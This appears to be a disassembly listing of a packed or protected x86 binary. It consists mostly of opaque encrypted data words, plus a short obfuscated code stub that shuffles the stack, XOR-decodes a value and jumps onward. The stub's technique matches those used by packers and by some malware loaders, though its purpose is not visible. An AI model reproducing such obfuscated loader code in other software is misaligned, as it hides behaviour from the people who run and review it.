		dd 24D3888Ch, 0A08C63Eh, 6B7A5C51h, 77FE7EC7h, 7EC76B95h
		dd 0AFF2D71Ah, 2FD5527Ch, 5134D53Fh, 8924CD3h, 5DD778C0h
		dd 0C06FF4D6h, 87367978h, 2B30E3A1h, 6FDEB64Dh,	0FD1478C0h
		dd 0AFAC6927h, 0EED0C58Ch, 7278C06Fh, 0C07009EBh, 664B8E78h
		dd 0CC1EF023h, 844527D3h, 0F76FF7D5h, 0C14F8E70h, 0EAD01378h
		dd 0C14F8163h, 0E0C30678h, 7E64F71Ch, 280B50C0h, 384716Dh
		dd 40E0000h, 0E72B4E0Dh, 0C953312Ah, 1DA48A50h,	78C07B4Ah
		dd 5C698CCFh, 78C05B86h, 0B116614h, 7093C84Dh, 5E27C6A9h
		dd 0F0E48FC5h, 74E6742Bh, 3088BBA0h, 519275C3h,	40h, 9D14878h
		dd 9BC59C23h, 824278BFh, 92C94A94h, 0C075C0E3h,	0C4E2A144h
		dd 69619443h, 654CAE3h,	47C6211h, 0C00D9B7Dh, 0FADD2078h
		dd 0D5C323Fh, 3CEA78C0h, 0FC5C047h, 0B3C6E490h,	0ED000000h
		dd 2B4E0D04h, 0A2D2EE7h, 1AC44E0Ch, 773E61FAh, 0FBDEA5C8h
		dd 0E5FDDA37h, 0B87F8643h, 8CD0F3A2h, 61F8D685h, 7EC78761h
		dd 43213AD7h, 9CBF9C75h, 775D859Ch, 0BFA775F0h,	19F73A78h
		dd 961D8A8Fh, 78C058B4h, 6147F639h, 0B6032EDAh,	4A307372h
		dd 0ECD2898Ch, 0AB0BED74h, 4D9072B6h, 0EF26F46Ah, 0BDC4356Ch
		dd 0DC3D17AAh, 29DE0h, 0FF5CBB00h, 9AC15321h, 3922EEBCh
		dd 0D6858D5Bh, 70EB2AF8h, 6275F792h, 0FCCAA8B3h, 9563411Ah
		dd 31FFDD7Eh, 0CB9D7BE0h, 7B7E60E7h, 290384D5h,	4A11048Ah
		dd 0C6EC9F64h, 0D80B50C4h, 290CC6B9h, 2F2CE5B3h, 8C4AE251h
		dd 6FB3D685h, 2508B7A4h, 8066BCA5h, 60BE4308h, 0AB3B1DA4h
		dd 7DC07EC7h, 69CA34Ah,	9FBF9623h, 0F93C78BFh, 3EF3C9D6h
		dd 0D38178C0h, 0DD2E57ECh, 0A85DE48Fh, 84000000h, 2B4E0D04h
		dd 0A2D2EE7h, 0C76DFDFDh, 0BD9E737Eh, 5B0011DFh, 0F9213838h
		dd 8F118C13h, 93D678BFh, 0F0362BB5h, 0E67E830Ah, 0BC7A72B5h
		dd 0A7240754h, 55C07E64h, 0B1622006h, 8DC087AAh, 7D630286h
		dd 1775AB3h, 4279E233h,	17AAEB01h, 0CBE3DF40h, 8D000001h
		dd 25F3D18Ah, 0C08E6CEFh, 5F2D0B50h, 0FCCAA8B3h, 0C9644219h
		dd 7AE134A3h, 1348CE9Ch, 0AFAC6735h, 4D0E03D1h,	32B99D6Fh
		dd 84D57C50h, 45CFBD5h,	0AA8C1311h, 2F7EC76Bh, 0D75F3DECh
		dd 843AAD12h, 0C9ACDD49h, 694F0C05h, 9C7965ABh,	26D59CBFh
		dd 4A5ECD43h, 6B694BD2h, 0ABEE7EC7h, 6B5C3EC5h,	9EE17EC7h
		dd 411AF7BBh, 0ED37DA1Eh, 0C76B8466h, 17C6097Eh, 0B5A66B39h
		dd 951C9492h, 7EC76BB3h, 9212F538h, 0EA71578Fh,	78BF949Bh
		dd 36189F17h, 0BB78C03Dh, 9E189578h, 0C03D3517h, 1AFABA78h
		dd 0F85F9241h, 19B749B4h, 121E41F0h, 0E03DFA4h,	895C58C9h
		dd 0F4A34942h, 0C9958C16h, 39DC040Ch, 549DEF22h, 0B63D23D2h
		dd 72B814A3h, 77F65A8h,	0B8AD9E80h, 0FDE02372h,	4813FE42h
		dd 9EC49D62h, 27EFC6A5h, 0CD458944h, 0EA276B8Eh, 0C0A4E71h
		dd 83652C4Fh, 86CD8AF1h, 0ADAA0BD0h, 9CBF4F7Bh,	0CC5229B9h
		dd 20A78D55h, 6CB19E0Dh, 23F1CF12h, 64A6DEEh, 1F2B4E0Dh
		dd 110CAB1h, 6FF27C5Ah,	70DC7733h, 0FAA91A4Ch, 3A014F14h
		dd 7C3C19E2h, 45941B99h, 0C266AA49h, 0F9185C7Fh, 7E2D2EE5h
		dd 9AE14F5Bh, 8C4BC886h, 161A754Fh, 0E1C473D6h,	3C22F861h
		dd 0A38A66B5h, 0C2A0E360h, 0C7947C3Ah, 25FD64E4h, 2C76B83Fh
		dd 0FBBB5A96h, 561D401Bh, 0D14084A7h, 33DEAC8Ah, 0FEF80528h
		dd 61A74E90h, 19F82299h, 17DC6442h, 4E9481D3h, 6E7CAF59h
		dd 2971FB7Dh, 22EFB396h, 40D21639h, 7EECF81Bh, 0AA34DD39h
		dd 0B1BC7166h, 29A7D35h, 3EC6A453h, 0A3C69580h,	0FBAAB15Fh
		dd 9EBD5418h, 87F7Bh, 4A1C0000h, 0EED18A8Ch, 13043B46h
		dd 30E12548h, 4FC4082Bh, 71A5E90Ch, 9283C7EAh, 0B362A6C9h
		dd 0D14185A8h, 0ED23678Ah, 0D074B6Eh, 522A2B4Eh, 0B850E289h
		dd 4, 8358C201h, 148704EAh, 89575C24h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 2414895Ch, 81E38953h, 4C3h,	4EB8100h
		dd 87000000h, 895C241Ch, 0BD552434h, 60DFF0Ch, 2C8BEA89h
		dd 4C48124h, 54000000h,	8124348Bh, 4C4h, 0D1895100h, 8B084E89h
		dd 0C481240Ch, 4, 5724348Bh, 0C781E789h, 4, 4C781h, 3C870000h
		dd 34FF5C24h, 0C4835A24h, 6768E904h, 9AEDFFF9h,	8756B42h
		dd 79B81CA2h, 3060E13h,	55E0FFC5h, 4C64CF7Fh, 6C45C854h
		dd 8904EFF1h, 0CB29E174h, 4F4EA7FFh, 0D97CE9F5h, 0BB61521Fh
		dd 65634C9Fh, 0C244EEEFh, 0CA42758Ah, 9E17C7F5h, 1F0373C9h
		dd 242B694Ch, 91DE412h,	4138922Ch, 8A41E7F5h, 0A45AB3D6h
		dd 8557A633h, 0E11DDA20h, 6C6D2149h, 0CC1D6850h, 87476031h
		dd 7A39279Ah, 2076D014h, 0E8291147h, 1D481A71h,	25725EECh
		dd 0EB221455h, 741F6C63h, 0E9201E6Eh, 21h, 152A256Bh, 7	dup(0)
		dd 52CE900h, 5BBC0000h,	0C0542200h, 21EFBD9Bh, 848E5C3Ah
		dd 0EA2BF9D7h, 74F89371h, 0CBA9B263h, 644219FDh, 0DE7D96h
		dd 9E7CDF32h, 7F61E8CCh, 484D57Fh, 0D048B2Ah, 2EE72B4Eh
		dd 90814F2Dh, 0AD64A8CBh, 6B0EF077h, 50937EC7h,	0DA3A7EA1h
		dd 37FF5E81h, 0AB17DC40h, 0BEC08CE3h, 937E4225h, 0F26AE2C8h
		dd 0C7C9896Bh, 0D6CB0E7Eh, 7EC7C8F4h, 0DD533679h, 7157040Fh
		dd 0D9FC5FB3h, 0EBB92F12h, 8F4D3328h, 0EAB1D487h, 0E084C07h
		dd 0B01E2A4Dh, 57040FCBh, 930AAC71h, 0C0EA7D7h,	6D2BB329h
		dd 0BCFB2A9h, 25325506h, 7EC7FE4Eh, 182F9476h, 0DE881E6Dh
		dd 431Eh, 0D044500h, 461E2B4Eh,	6E7EC76Bh, 7510378Ch, 16DE88B1h
		dd 1, 4B10043Dh, 2B30E428h, 0D4EC408h, 0FCC38BEAh, 4BE5F222h
		dd 68E4A8F8h, 200C43FDh, 8635BBD0h, 0E62BF9D7h,	41D18F75h
		dd 52C1371Ah, 58868C4Ah, 10F3A2B9h, 6F92C94Ch, 4F72E92Bh
		dd 2D338890h, 0DB38A66Fh, 2AEED180h, 62CBECEBh,	0EBD68696h
		dd 81905E3Ch, 9D73B7DAh, 0F61AD8BEh, 987B4265h,	7C43F1DDh
		dd 87C1CEC7h, 73BDDEh, 4E40000h, 0E3274A11h, 0AC0B2E2Dh
		dd 0D2439FE4h, 38DDAB89h, 42F16AA6h, 2437DB1Fh,	8856BD01h
		dd 0FD20CF8Ch, 0DD005BB9h, 75A1161Eh, 0D299BC9Fh, 0DAA14F23h
		dd 88B77025h, 601BDEh, 4420000h, 9F644A11h, 0AF8F70BEh
		dd 6621047Eh, 476AF122h, 284B1003h, 0B2E2DE4h, 6D2A91FFh
		dd 3BC23A5Ch, 7EC7ED59h, 28B89BDEh, 0CD8E8753h,	6DA967EFh
		dd 2104CBEEh, 4B1004BCh, 6B441B28h, 8A6C7EC7h, 30B72F35h
		dd 7EC76B4Eh, 0F0D259D3h, 757EC76Ah, 1A08332h, 0DE88B184h
		dd 107h, 0C042E00h, 29E82C4Fh, 0A7030F32h, 0E312AE9h, 0EFD46447h
		dd 0A07EDD33h, 0F5DB0316h, 0BF84E76Eh, 281DE478h, 8CB5F94Fh
		dd 91AC504Eh, 47F61CB1h, 842114h, 9847C42Eh, 7BE03175h
		dd 0B4961D95h, 3978C04Fh, 159D13F6h, 4F34169Dh,	76B978C0h
		dd 1942CF93h, 4F11E9F6h, 0CE4778C0h, 0EB266A8Dh, 0B094D70h
		dd 72662D50h, 0CFE0BF04h, 17FA249Bh, 66DE6644h,	0C04EFDDFh
		dd 5C3F8278h, 0BFE27998h, 0A2C5967Bh, 84A7B45Eh, 80AD440h
		dd 7581A453h, 3CE3B007h, 7E934F34h, 2F56FFDDh, 5CE48FCDh
		dd 179h, 9D14883h, 29EDAB23h, 6B9274FBh, 0D4177EC7h, 583B0225h
		dd 0C06F50CBh, 0CC4F1478h, 217F1D68h, 2D70EDD0h, 104BC60Ah
		dd 0AEAD6432h, 1C080AC8h, 0BFEBB395h, 46F53878h, 0BE795C23h
		dd 4B1002C0h, 0BA7E6128h, 22E10457h, 9879A51Ah,	7C18DDC3h
		dd 168845BBh, 0EB940AEDh, 0E4901B9Ah, 8CF1h, 0D0481800h
		dd 27D6858Fh, 6AB8BA41h, 0BE7CFEC7h, 1DE40754h,	577ABD3Ah
		dd 0C76B684Ah, 195EF0FEh, 0CE8C1901h, 42241942h, 80FEC76Bh
		dd 6BE5CA91h, 0C76B02E4h, 954487FEh, 0B03B00E6h, 812551D2h
		dd 686105FEh, 0A840C735h, 0DFC2997Ch, 0E52BE961h, 0A98C5376h
		dd 0C84B1A1Ch, 0F520DE7Eh, 0E40A0DE2h, 0D9881F25h, 4F31B8B6h
		dd 0D47EC819h, 82FFE291h, 220853C2h, 0C819B99Bh, 4CFB3E7Eh
		dd 8567EE66h, 0A7EC819h, 0E86EE4C7h, 8Dh, 9D14885h, 24EDAB23h
		dd 6A4D1437h, 0BF8AF2DDh, 5174B778h, 7957040Dh,	79E233F1h
		dd 1C3FD296h, 4A17ECF9h, 346878C0h, 0DD7E934Fh,	84D739F7h
		dd 2BA32BA1h, 0C049C2A4h, 21044778h, 0A42BB8A1h, 78C048C2h
		dd 6F550447h, 0B25AC0E8h, 0C536FD72h, 3E6124BAh, 0AEF215C4h
		dd 4D12F863h, 0B8906E53h, 5D3FC65Eh, 0E272B249h, 520DF09Fh
		dd 7BE3D846h, 955A40E6h, 9E777FB3h, 0EBE08ABDh,	5DE46245h
		dd 6CA3C535h, 0C9512F72h, 6E510A0Bh, 8CD14809h,	0E7AED18Ah
		dd 0A3CB5238h, 0DF78B97Dh, 0E4AE1D1Ah, 0BDA0C33Dh, 96DAFD40h
		dd 3402E07Bh, 0D3987EDDh, 0DA2F6EF6h, 8B0A0BD8h, 1A854DDBh
		dd 0C0CD886Bh, 8593D100h, 0C26025DBh, 71051FADh, 80F7876Ah
		dd 0C2A0BB56h, 8F071DF4h, 93FC2608h, 7368AB65h,	6593FC91h
		dd 0FCAC8E15h, 0EE316593h, 0F417C609h, 0D6F962B0h, 0B7DA8192h
		dd 9ABD9E73h, 19463D71h, 16C0B725h, 0B48260FBh,	0DFDBFE5Dh
		dd 3, 415207Ch,	0E1254813h, 0C4082B30h,	0A5E90C4Fh, 83C7EA71h
		dd 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	2C15h
		mov	[esp], eax
		push	68B3h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2D300E42h
		mov	eax, 333E22FAh
		sub	eax, ebx
		pop	ebx
		push	5093h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		push	esi
		mov	esi, 48AA2798h
		xor	[esp+4], esi
		pop	esi
		pop	dword ptr [ebx+8]
		xor	dword ptr [ebx+8], 48AA2798h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		db 85h,	7Bh, 0B8h
		dd 0AC6FBDFCh, 52B83985h, 3060E19h, 17E0FFC5h, 5F54DDC2h
		dd 9F57AF41h, 0CC7D2B69h, 0C831F27Ah, 5D77F7D5h, 0BE08AACCh
		dd 0F4113F8Eh, 0CE2E0647h, 9751125Bh, 0D6416674h, 7505EF48h
		dd 955F3E8Eh, 0AE4816EDh, 9A737F76h, 0C5790819h, 202D0B02h
		dd 4D6F7848h, 0C02A3DD4h, 436D26C0h, 59373Ah, 0E966EE22h
		dd 24h,	2E7D76C4h, 8 dup(0)
		dd 5D3E9h, 0B7A47300h, 52090BD9h, 0F16AA674h, 8ECD4513h
		dd 2833E2B0h, 1ABDAF4Ah, 0B48260FBh, 4D1BF962h,	0E9B795C6h
		dd 83553328h, 8536189Fh, 0E1BB84D5h, 4E0D0442h,	0A36F2D2Bh
		dd 0EBCE95B8h, 8F6DEE27h, 0E80B50C1h, 0A1716DA4h, 0A6844736h
		dd 0D5841021h, 55BF0326h, 779FE306h, 947DC1E4h,	1FA6A4C7h
		dd 7EC81C3Dh, 70387FC2h, 3D054C0Bh, 0E6759C46h,	82D93A08h
		dd 1E3DD6A4h, 0FC5FB7FBh, 185FCDD9h, 8DCE4604h,	2E2DE6AAh
		dd 0CC8F8250h, 1CC59CA9h, 0BED7EC8h, 0F68FB4h, 7E95DE88h
		dd 0BC000000h, 2B4E0D04h, 0C76B461Eh, 0C3987C7Eh, 391BA2A0h
		dd 0BE7EC76Bh, 99C24F7Bh, 0FF17876h, 947EC76Bh,	0DDA2AA51h
		dd 1D62447Eh, 93C84907h, 0B17411B0h, 117DE88h, 3E000000h
		dd 284B1004h, 452B30E4h, 6B6446CDh, 0A6E97EC7h,	4EC408C3h
		dd 6CA6EA0Dh, 8988CCEFh, 23B5AFD2h, 0F0B8FF5Ch,	96C54F8Bh
		dd 28A6EBB0h, 0D953B43Fh, 33F880F6h, 2FE3CC1Bh,	0F42092Ch
		dd 0F0D3CE9Eh, 9876E52Ch, 0CD110429h, 45681744h, 25481301h
		dd 5FB27066h, 328919FCh, 502E2DE8h, 0A9CC8F82h,	0CAAC33ABh
		dd 4F7EC76Ah, 0AB65290Ch, 0F3A18DB0h, 0B71E778Ch, 0B86DDE88h
		dd 94000000h, 274A1104h, 70F72DE3h, 7EC76B8Eh, 0FE21D013h
		dd 0E20556BAh, 9552D497h, 4470340Fh, 0AA698CCFh, 377EDDA2h
		dd 0A0820981h, 257EC7DFh, 0FC5FB6E2h, 0E8328919h, 7C62B12Dh
		dd 6413C299h, 0FE5DB886h, 3719A018h, 757EC7DFh,	0D299BC9Fh
		dd 0AEC73EDh, 8F7EC7DFh, 0FFBA9D4Ch, 1E0457BBh,	0DF3D1FA6h
		dd 997B7EC7h, 0B49ADDC2h, 0C7DF4B2Dh, 0AA8DD07Eh, 6E5503EFh
		dd 8843BCD9h, 931A92DEh, 7EC7D5B1h, 0CF10F336h,	4Fh, 4A1104F6h
		dd 0A86B2927h, 0E6C990B3h, 28EDF122h, 9A491033h, 0A51A4E77h
		dd 2C9BFABFh, 70A4756Ah, 0F4CC98Dh, 0F7FC6429h,	17F9B65Dh
		dd 44FBE34h, 1B284B10h,	7EC76B44h, 2F358A6Ch, 0EC0A756Ah
		dd 9275D970h, 87CA92F3h, 1F9DEh, 4200000h, 2E2C4F0Ch, 9085869h
		dd 583B02EAh, 0B3617D94h, 0C574E72Bh, 15A8DBA2h, 60C4CC77h
		dd 0CBD7FAA9h, 54BC665Dh, 0BD57878Ah, 5B47B9Eh,	8E6C1BE2h
		dd 0DFC51D04h, 0C045D158h, 0A58BCE78h, 0EC4A62Dh, 64978C1h
		dd 0AC6A6823h, 7CEF16Ah, 0AAB16024h, 4813FECCh,	0E401825h
		dd 5D9178C1h, 38A0266h,	78C10E21h, 0E3C1EA5h, 7EC178C1h
		dd 0AF735699h, 0BA9F7562h, 86A9B263h, 0F1618CBFh, 7557DEC4h
		dd 0FA78C15Bh, 5C2A08B7h, 2C0A6B5h, 61284B10h, 927FC37Eh
		dd 0DFE7A6C9h, 88D33E98h, 2B30E4A2h, 0E85E4108h, 0ADDD9B60h
		dd 790F14A6h, 1A8EF796h, 95FDE48Fh, 0B000001h, 6F92C94Dh
		dd 0F608EA71h, 4A8D78C0h, 4A53B89Bh, 0B3D6858Ch, 908909ECh
		dd 0F41744CDh, 11987E2Dh, 78C06F96h, 5D7A9C5Ah,	1F99C248h
		dd 0D6B968C3h, 0F5F31659h, 0CC14F67Dh, 0C35278BFh, 8D70B398h
		dd 2D1348C9h, 68744668h, 0C057FFE1h, 0E418478h,	2B0E93DBh
		dd 312AE7B5h, 182B864Bh, 88ED59CAh, 0FD25C07Ch,	0CDB36287h
		dd 0BF876446h, 0C3A6E978h, 8A4DC408h, 0CE023423h, 597C2B30h
		dd 2AE6A49Ah, 3B0FAEADh, 86357850h, 72AC13A3h, 5ED6BC9Fh
		dd 0BFB2F5D7h, 54377A78h, 57DE56DEh, 78BFB375h,	85D63AFAh
		dd 3154F3D6h, 5AE49069h, 47h, 8FD04881h, 0F0B7DA81h, 0D2D45B41h
		dd 97FEC76Ah, 42243154h, 80FEC76Bh, 60A4C794h, 5A83A6B5h
		dd 20025126h, 2734E2A0h, 0CA5A3D04h, 0B2F56DF5h, 40D0FC5Fh
		dd 8231F81Bh, 6B13159Ch, 95D87EC7h, 9E31B7h, 48CE0000h
		dd 9C2309D1h, 78BF8BB1h, 0FC5FB775h, 0B22F12D9h, 894E4C6Fh
		dd 0FAEFFB32h, 88056BDFh, 79082F62h, 5BB67A5Dh,	0C26042C9h
		dd 0A2E578BFh, 0CA4715F3h, 8C616E91h, 0DD78BFC1h, 904ED2A9h
		dd 33F7DA81h, 159F7DDEh, 69F0D60Ch, 72B0DDC5h, 52090ACAh
		dd 0D53C80A3h, 0A3520909h, 0B1067480h, 846AB0A9h, 2B0D940Ch
		dd 6972B1A7h, 89CCB1AAh, 0C37519A6h, 377A6CA2h,	7052D951h
		dd 0F56CA38Dh, 0CD7CDF35h, 74EC74EAh, 6BF17AAFh, 11063FE1h
		dd 6CA42A2Fh, 48B71B4h,	6CA42A22h, 1C8164A7h, 2309D148h
		dd 0B887F89Ch, 0D4BAFD78h, 3C5FFC16h, 90CB4975h, 36F4F2ADh
		dd 935A7DDEh, 0FF25ECB0h, 0B9519678h, 29D81B78h, 0C44BC34Bh
		dd 78B950E2h, 7D412467h, 0A6A4C794h, 103328E8h,	94D96649h
		dd 0CA9045A9h, 0ACF01348h, 4DC8F467h, 71DFEB0Eh, 3E064D0Ah
		dd 0E7749D79h, 85D63B09h, 0AA34E19Fh, 0BD2F566h, 75E6305Ch
		dd 7F93D792h, 0F9A8B35Fh, 548392D6h, 6C8FD252h,	0EF12C1C1h
		dd 0C4F06BABh, 8CEB0E4Dh, 0ACA0FFC4h, 749D793Eh, 0D63B09E7h
		dd 0F16301h, 7FB24E53h,	0EF294958h, 0A6C97845h,	0C7A930A8h
		dd 4C504644h, 1DAA2609h, 2E000000h, 82B5B69h, 9B7ECE27h
		dd 37FC2036h, 0A24C3FABh, 6345CC00h, 0E87EC80Bh, 0AE13F6A5h
		dd 25481304h, 82B30E1h,	0E90C4FC4h, 0C7EA71A5h,	0A6C99283h
		dd 85A8B362h, 678AD141h, 4B6EED23h, 2B4E0D07h, 3AF1682Ah
		dd 2C890000h, 204B6824h, 2C890000h, 77E56824h, 4890000h
		dd 10BF5724h, 0BD5F1F34h, 652D4E7Fh, 1CCAC581h,	0FD296709h
		dd 1CCAED81h, 545F6709h, 8324048Bh, 1F6804C4h, 89000043h
		dd 408F242Ch, 2434FF08h, 4C48158h, 8B000000h, 8957242Ch
		dd 4C781E7h, 83000000h,	3C8704C7h, 2FE95C24h, 19FFF95Bh
		dd 85671DBh, 0E1FD7B8h,	0FFC50306h, 82F5ABE0h, 0C14B1126h
		dd 0C565A938h, 5FE6A37h, 0D1DFE840h, 0D2768745h, 0EB284607h
		dd 5A175C19h, 1D408D18h, 91CDC4Bh, 79612C30h, 942C1108h
		dd 0E068A416h, 829F3A46h, 0E36FC85Bh, 0B35ACB10h, 8269C10h
		dd 92A62B5Fh, 998C5634h, 0A7A9D273h, 0D8B75Dh, 0E5C03E78h
		dd 606C5F3Eh, 0C90AFC41h, 585C619h, 5606072Ch, 0C530DF68h
		dd 0ADB5FFA9h, 8D060731h, 0A7B1F85h, 8DD0FF06h,	70B658Dh
		dd 406A5106h, 0C01B5FFh, 0B5FF0607h, 60727D5h, 0B5FFD0FFh
		dd 6070C01h, 27D5B5FFh,	5E80607h, 0C2000000h, 0B74C4677h
		dd 0E9835959h, 242CC104h, 2424C102h, 240C0302h,	68241CF7h
		dd 0
		dd 0B34FF5Bh, 0B4F6815Eh, 8169BFF8h, 3C35E0F6h,	9CC68172h
		dd 5610F345h, 8319048Fh, 3B4B03EBh, 850F241Ch, 0Fh, 1DE9h
		dd 0C4DB0600h, 22710FFBh, 0E97CA11Ch, 0FFFFFFC5h, 0F2F09B3Ah
		dd 0B5EF4595h, 9ED34CDh, 9D8D4AB8h, 6070711h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	0E8C98B18h, 0Fh, 8F7BA2A1h
		dd 97073D2Eh, 6A53A0A9h, 6698357Ah, 5A0E32BFh, 81F38B66h
		dd 6D68C2h, 1B2F6800h, 0E9590000h, 0Ah,	54F2C95Dh, 0A53FD16Ch
		dd 32FFA967h, 5890F5Bh,	0BE000000h, 60983354h, 102F381h
		dd 0CEB02634h, 2FD0EB81h, 810F67F7h, 2,	0C381C68Bh, 50090DA4h
		dd 13E9h, 0EC866E00h, 5B1ECCB5h, 0F5EA27CFh, 73F1EC42h
		dd 8B0874D1h, 8E91A89h,	7F000000h, 6A34B7Ch, 811D7CD9h
		dd 0BB7CF6EAh, 0A03BE5Fh, 0C28100EBh, 5FBB7CF2h, 0A840Fh
		dd 8A0F0000h, 4, 0E597BF66h, 1E981h, 850F0000h,	0FFFFFF82h
		dd 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 0E2230EDh, 8428B06h
		dd 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h, 0BBC8D318h
		dd 69AB07D2h, 0E883C333h, 79858904h, 8B060706h,	0F88B0458h
		dd 8B10428Bh, 0C8D3184Ah, 0FD075ABEh, 2BC633F2h, 0FCE083C7h
		dd 8904E883h, 72CE585h,	14428B06h, 2D058589h, 428B0607h
		dd 0B0E95318h, 0FF000000h, 70B75B5h, 0B9E906h, 0B5FF0000h
		dd 60721C9h, 0AEE9h, 59B5FF00h,	0E9060706h, 0A3h, 11C5B5FFh
		dd 98E90607h, 0FF000000h, 73221B5h, 8DE906h, 0B5FF0000h
		dd 6070C91h, 82E9h, 0C5B5FF00h,	0E9060732h, 77h, 0C11B5FFh
		dd 6CE90607h, 0FF000000h, 7157DB5h, 61E906h, 0B5FF0000h
		dd 60705A1h, 56E9h, 15B5FF00h, 0E9060715h, 4Bh,	11E5B5FFh
		dd 40E90607h, 0FF000000h, 71B45B5h, 35E906h, 0B5FF0000h
		dd 607139Dh, 2AE9h, 0BDB5FF00h,	0E906072Ah, 1Fh, 399B5FFh
		dd 14E90607h, 8B000000h, 0BB8D8h, 0F7660000h, 918D8DE3h
		dd 3060E22h, 0FFE1FFC8h, 700BD95h, 858B5B06h, 6070679h
		dd 0F045839h, 0F85h, 16A5300h, 16B595FFh, 0E95B0607h, 0FFFFFFE2h
		dd 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 2B69858Bh, 8D8D0607h
		dd 60E237Fh, 8B014189h,	788D8DC3h, 6A060E24h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 295CC353h, 0A9DE07FEh, 0CD958B49h, 89060703h, 706798Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 73F0020Eh, 2A70E526h, 85C74E62h,	6072CE5h
		dd 6AF8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	36C35242h, 8B56C8CFh, 70161BDh,	85C75806h, 6072D05h
		dd 0
		dd 494DA81h, 0B5FF23CDh, 60711C5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 3CC35343h, 861D3B70h, 0C8D0F51h
		dd 0F000000h, 68Eh, 0B5958B00h,	0FF060720h, 700BD95h, 6AAEB406h
		dd 0B595FF00h, 8B060716h, 922CEBC0h, 2EE2B5E2h,	0BB5088BAh
		dd 794AF562h, 62E16383h, 0A01D4593h, 0FAC0CE87h, 85507282h
		dd 4A7FC1C5h, 0E1FD977Bh, 18439874h, 0E8AD0D76h, 11h, 1B06C538h
		dd 9E67B48Eh, 8B4F912h,	0D0410F4Bh, 47E181ADh, 582BCAE8h
		dd 124D8D8Bh, 0C0810607h, 73C0h, 9F8848BBh, 79C3810Eh
		dd 1F16094h, 73175BDh, 81388B06h, 669AE9D6h, 0D4EF8110h
		dd 816B385Eh, 0E9DA2F1h, 41F7813Fh, 0B54FA974h,	0AFC78189h
		dd 0F95B39F3h, 8FD38B57h, 0D19D8900h, 81060715h, 0DFDE25E8h
		dd 0D98D0143h, 8106071Dh, 0DFDE21C0h, 0CE96043h, 0D0000000h
		dd 9D737D13h, 0C1087A9Fh, 0FD13B24h, 58Eh, 0F060BA00h
		dd 4B612DA2h, 12850Fh, 0B58B0000h, 6072779h, 1BE9h, 0EF1F8F00h
		dd 6E333FEFh, 59595151h, 0FFFF80E9h, 0F48190FFh, 221AD20Bh
		dd 66577F7h, 2AE9h, 0B61AE900h,	1Dh, 8 dup(0)
		dd 0E9000000h, 49Bh, 0E26B468h,	55C0E906h, 4268FFF9h, 0E9060E27h
		dd 0FFF955B6h, 0E28B368h, 55ACE906h, 53C4FFF9h,	0B85C2A08h
		dd 19F7C5A3h, 7C966442h, 0E23301DFh, 6C009B79h,	0D3B1AA6Bh
		dd 6C4A1105h, 8E6759Eh,	0A684D73Ah, 8769F0D4h, 0C84D590h
		dd 56BC7A32h, 381BE205h, 4A1104D3h, 2D2EE327h, 865CC54Fh
		dd 478FDBA0h, 0AD97D858h, 8EC54CCAh, 0CB78BFC4h, 82586588h
		dd 1078C06Dh, 0FF5CB674h, 7557DEDCh, 0FA78C06Dh, 952508B7h
		dd 23753A2Eh, 48D5C0A7h, 572ECDB0h, 34E48EC8h, 2F2h, 898C4A5Bh
		dd 5E8AFD2h, 61BAE30h, 9073FAE0h, 1478BF97h, 54DF934Fh
		dd 55381675h, 41A595D8h, 0B8CF9E7Ch, 0C0504F31h, 5E91D478h
		dd 3417DDB2h, 5A2058A7h, 974FD25Bh, 6C9F2AB1h, 61A47552h
		dd 3DB3E3Eh, 73D4961Dh,	52196F4Bh, 0A9301702h, 6F4C13C7h
		dd 6AD6094Ch, 381C4F0Ah, 0C04E09D5h, 4402E897h,	0E2B08ECDh
		dd 0AEF52C2Fh, 531B15C4h, 2DDF6F2h, 5FB80000h, 0C4501EFCh
		dd 25EBB997h, 888A5836h, 0EE27F5D3h, 78F48F6Dh,	0C7A5B65Fh
		dd 603E1DF9h, 0FCDA8192h, 9A78E32Eh, 7B5DE4C8h,	84D591h
		dd 8C4A8726h, 0EDB4D784h, 18978A0Ah, 82A5B65Ah,	6AE4C6BBh
		dd 26697EC7h, 40D39177h, 4B31F81Bh, 0C76AE2C4h,	4124677Eh
		dd 8CEF3CC3h, 0A66B78B8h, 0F61DA337h, 487B4265h, 0ECCF4D96h
		dd 88462C6Fh, 22F0CE8Dh, 3328EBF3h, 779A4910h, 0B8C6956Ah
		dd 1546CB78h, 0A8CACFDEh, 0D5D13211h, 24Fh, 0AC8AD146h
		dd 472536DEh, 0E6C49779h, 8361FA18h, 1DFB60B5h,	28EDEA82h
		dd 8F875533h, 0F320EECCh, 55BC8A68h, 72562806h,	0D59209EBh
		dd 15B48E84h, 2309D148h, 7336E6ABh, 4467F41Eh, 468B4A7Dh
		dd 0D13E20A7h, 80C37EC7h, 0EB70A5D1h, 911E01C8h, 78B8F344h
		dd 4E5B7EC1h, 78B9AC78h, 0DC635806h, 0E49674A9h, 185E2h
		dd 0D040900h, 1EA3684Eh, 4516FE3Ch, 0B4285B22h,	13CEB1CDh
		dd 331942CFh, 0A3ECC26Eh, 0B89B283Eh, 79A1B842h, 0F4390C93h
		dd 0FEBE78C0h, 5A214417h, 0D40BED74h, 4D9078C0h, 1CFAB89Eh
		dd 72551C3Fh, 0D3D4AAB7h, 0B46278C0h, 5AE159CFh, 78C0D478h
